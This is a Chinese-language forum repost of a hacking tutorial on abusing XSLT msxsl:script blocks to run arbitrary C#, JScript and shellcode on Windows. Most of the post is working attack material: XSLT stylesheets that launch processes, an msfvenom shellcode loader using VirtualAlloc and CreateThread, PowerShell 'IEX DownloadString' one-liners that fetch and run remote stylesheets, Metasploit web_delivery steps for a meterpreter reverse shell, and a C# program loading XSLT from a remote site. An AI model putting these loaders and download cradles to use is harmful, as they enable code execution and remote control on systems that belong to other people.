冰楓論壇

 找回密碼
 立即註冊
搜索
查看: 1706|回覆: 0
打印 上一主題 下一主題

[破解教程] Hack With XSLT

[複製鏈接]

219

主題

1

好友

579

積分

高級贊助會員

Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20

UID
173947
帖子
263
主題
219
精華
0
積分
579
楓幣
2853
威望
198
存款
20
贊助金額
1500
推廣
0
GP
194
閱讀權限
150
性別
保密
在線時間
113 小時
註冊時間
2017-1-1
最後登入
2018-10-13

高級客戶 論壇支持王 貢獻王 VIP會員

跳轉到指定樓層
1
發表於 2017-7-9 13:04:38 |只看該作者 |倒序瀏覽
本帖最後由 KinKALaw 於 2017-7-9 13:11 編輯

作者:Evi1cg's blog
來源: 網絡收集
來源網址:請点擊


簡介
XSLT全稱為拓展樣式表轉換語言,是一種用於將 XML 文檔轉換為 XHTML 文檔或其他 XML 文檔的語言。更多關於XSLT的教程可以參考W3school。關於XSLT的hack技巧之前已經有老師總結了WebShell系列(一)---XML,裡面詳細介紹了怎麼通過xslt構造webshell,並且可以看的出,通過XSLT可以執行很多類型的腳本,前段時間@Casey Smith公開了一個Execute C# From XSLT 的POC,感覺很有趣,所以簡單的研究了一下,也就有了此文。
POC
Casey Smith分享的poc如下:
calc.xslt
  1. <font size="3"><xsl:stylesheet version="2.0"
  2.                 xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  3.                 xmlns:msxsl="urn:schemas-microsoft-com:xslt"
  4.                 xmlns:my="urn:MyModule">
  5.   <msxsl:script implements-prefix="my" language="C#">
  6.     public void Exec()
  7.     {
  8.       System.Diagnostics.Process.Start("Calc.exe");
  9.     }
  10.   </msxsl:script>
  11.   <xsl:template match="data">
  12.     <result>
  13.       <xsl:value-of select="my:Exec()" />
  14.     </result>
  15.   </xsl:template>
  16. </xsl:stylesheet></font>
複製代碼

其中xsl:stylesheet用來定義樣式表的根項目;version是其必須的屬性,用來規定樣式表的XSLT 版本;xmlns:xsl名稱空間,值固定;要使用msxsl:script元素,由於其屬於命名空間urn:schemas-microsoft-com:xslt,所以樣式表必須包含命名空間聲明;xmlns:my定義命名空間,名字隨意,需要注意的是下面的implements-prefix的值要與其一致。

msxsl:script定義如下:
  1. <msxsl:script language = "language-name" implements-prefix = "prefix of user namespace"> </msxsl:script>
複製代碼
其中 msxsl 是綁定到命名空間 urn:schemas-microsoft-com:xslt的首碼。
language 屬性不是強制屬性,但如果指定該屬性,其值必須是下列值之一:C#、VB、JScript、JavaScript、VisualBasic 或 CSharp。 如果未指定,則預設語言為 JScript。
implements-prefix屬性是必選項。 此屬性用於聲明命名空間並將其與腳本塊關聯。
xsl:template元素包含了當匹配指定節點時要應用的規則,match 屬性用於把範本關聯到某個 XML 元素,在這裡關聯了

example.xml,如下:
  1. <font size="3"><msxsl:script language = "language-name" implements-prefix = "prefix of user namespace"> </msxsl:script></font>
複製代碼

xsl:value-of 元素用於提取某個選定節點的值。在這裡也就是執行我們的函數。
執行其POC,可以成功執行C#代碼。

099.PNG


如果想遠程加載執行可以這樣:
  1. powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/xslt_poc/master/xslt_exec.ps1'); xslt_exec -xslt_url https://raw.githubusercontent.com/Ridter/xslt_poc/master/calc.xslt"
複製代碼

099.PNG

Exec Shellcode
既然能執行C#,那怎麼執行ShellCode呢,其實很簡單,參考Casey Smith給出的代碼,修改代碼如下:
shellcode.xslt
  1. <xsl:stylesheet version="2.0"
  2.                 xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  3.                 xmlns:msxsl="urn:schemas-microsoft-com:xslt"
  4.                 xmlns:shellcode="urn:MyModule">
  5.   <msxsl:script implements-prefix="shellcode" language="C#">
  6.   <msxsl:using namespace="System.Runtime.InteropServices" />  
  7. <![CDATA[
  8.      private static UInt32 MEM_COMMIT = 0x1000;         
  9.      private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;         
  10.      [DllImport("kernel32")]
  11.      private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size, UInt32 flAllocationType, UInt32 flProtect);         
  12.      [DllImport("kernel32")]
  13.      private static extern IntPtr CreateThread(            
  14.         UInt32 lpThreadAttributes,
  15.         UInt32 dwStackSize,
  16.         UInt32 lpStartAddress,
  17.         IntPtr param,
  18.         UInt32 dwCreationFlags,
  19.         ref UInt32 lpThreadId           
  20.      );
  21.      [DllImport("kernel32")]
  22.      private static extern UInt32 WaitForSingleObject(           
  23.         IntPtr hHandle,
  24.         UInt32 dwMilliseconds
  25.      );     
  26.        public void Exec()
  27.      {      
  28.              #msfvenom --payload  windows/x64/exec CMD="calc" EXITFUNC=thread -f csharp
  29.            byte[] shellcode = new new byte[272] {
  30. 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
  31. 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
  32. 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
  33. 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
  34. 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
  35. 0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
  36. 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
  37. 0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
  38. 0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
  39. 0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
  40. 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
  41. 0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
  42. 0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
  43. 0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
  44. 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
  45. 0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
  46. 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
  47. 0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
  48. 0x63,0x00 };
  49.               
  50.            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  51.            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
  52.            IntPtr hThread = IntPtr.Zero;
  53.            UInt32 threadId = 0;
  54.            IntPtr pinfo = IntPtr.Zero;
  55.            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
  56.            WaitForSingleObject(hThread, 0xFFFFFFFF);            
  57.     }
  58. ]]>
  59.   </msxsl:script>
  60.   <xsl:template match="data">
  61.     <result>
  62.       <xsl:value-of select="shellcode:Exec()" />
  63.     </result>
  64.   </xsl:template>
  65. </xsl:stylesheet>
複製代碼
shellcode可以通過msf來生成,具體生成方法在代碼裡已經給出,測試如下

099.PNG

  Exec JScript
既然xslt可以執行多種腳本,當然也包括JScript,代碼如下:
  1. <xsl:stylesheet version="1.0"
  2.       xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  3.       xmlns:msxsl="urn:schemas-microsoft-com:xslt"
  4.       xmlns:user="http://mycompany.com/mynamespace">
  5. <msxsl:script language="JScript" implements-prefix="user">
  6. <![CDATA[
  7.       function test(){
  8.         var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
  9.       }
  10.     ]]>
  11.       </msxsl:script>
  12.   <xsl:template match="data">
  13.     <result>
  14.       <xsl:value-of select="user:test()" />
  15.     </result>
  16.   </xsl:template>
  17. </xsl:stylesheet>
複製代碼
遠端載入如下:
  1. powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/xslt_poc/master/xslt_exec.ps1'); xslt_exec -xslt_url https://raw.githubusercontent.com/Ridter/xslt_poc/master/js_calc.xslt"
複製代碼
之前Casey Smith分享過一個JS Dropper戳我。裡面多了一個調用certuil.exe對檔進行base64加解密,這裡當然也可以實現,具體代碼就不貼了,位址在這

Get Meterpreter
說了這麼多,有人可能會問怎麼才能獲得meterpreter,其實很簡單,實現代碼在這。首先msf開啟監聽:
  1. use exploit/multi/script/web_delivery
  2. set target 2
  3. set payload windows/meterpreter/reverse_tcp
  4. set lhost 192.168.100.101
  5. set lport 8889
  6. set uripath xslt
  7. exploit
複製代碼
然後修改meter.xslt,之後用ps來載入就可以了。

099.PNG
Other
當然,除了powershell可以調用xslt,其他語言也可以,這裡分享一個C#的,代碼如下:
  1. using System;
  2. using System.Collections.Generic;
  3. using System.IO;
  4. using System.Linq;
  5. using System.Text;
  6. using System.Threading.Tasks;
  7. using System.Xml.XPath;
  8. using System.Xml.Xsl;
  9. using System.Xml;
  10. namespace ApplyXSLTToXML
  11. {
  12.     class Program
  13.     {
  14.         static void Main(string[] args)
  15.         {
  16.             string XMLFilePath = @"http://evi1cg.me/scripts/example.xml";
  17.             string XSLTFilePath = @"http://evi1cg.me/scripts/calc.xslt";
  18.             try
  19.             {
  20.                 XsltSettings xslt_settings = new XsltSettings(false, true);
  21.                 xslt_settings.EnableScript = true;
  22.                 XslCompiledTransform xslt = new XslCompiledTransform();
  23.                 XmlUrlResolver resolver = new XmlUrlResolver();
  24.                 // Load documents
  25.                 xslt.Load(XSLTFilePath, xslt_settings, resolver);
  26.                 XPathDocument xmlPathDoc = new XPathDocument(XMLFilePath);
  27.                 XmlWriterSettings settings = new XmlWriterSettings();
  28.                 settings.Indent = true;
  29.                 settings.OmitXmlDeclaration = true;
  30.                 XmlWriter writer = XmlWriter.Create("output.xml", settings);
  31.                 xslt.Transform(xmlPathDoc,writer);
  32.                 writer.Close();
  33.             }
  34.             catch (Exception e)
  35.             {
  36.                 Console.WriteLine("Error:");
  37.                 Console.WriteLine(e.Message);
  38.             }
  39.         }
  40.     }
  41. }
複製代碼
其他語言的,如果需要,還希望小夥伴們自己動手寫寫。


收藏收藏0 推0 噓0


把本文推薦給朋友或其他網站上,每次被點擊增加您在本站積分: 1鑰匙
複製連結並發給好友,以賺取推廣點數
簡單兩步驟,註冊、分享網址,即可獲得獎勵! 一起推廣文章換商品、賺$$
高級模式
B Color Image Link Quote Code Smilies |上傳

廣告刊登意見回饋關於我們管群招募本站規範DMCA隱私權政策

Copyright © 2011-2024 冰楓論壇, All rights reserved

免責聲明:本網站是以即時上載留言的方式運作,本站對所有留言的真實性、完整性及立場等,不負任何法律責任。

而一切留言之言論只代表留言者個人意見,並非本網站之立場,用戶不應信賴內容,並應自行判斷內容之真實性。

小黑屋|手機版|冰楓論壇

GMT+8, 2024-12-15 08:31

回頂部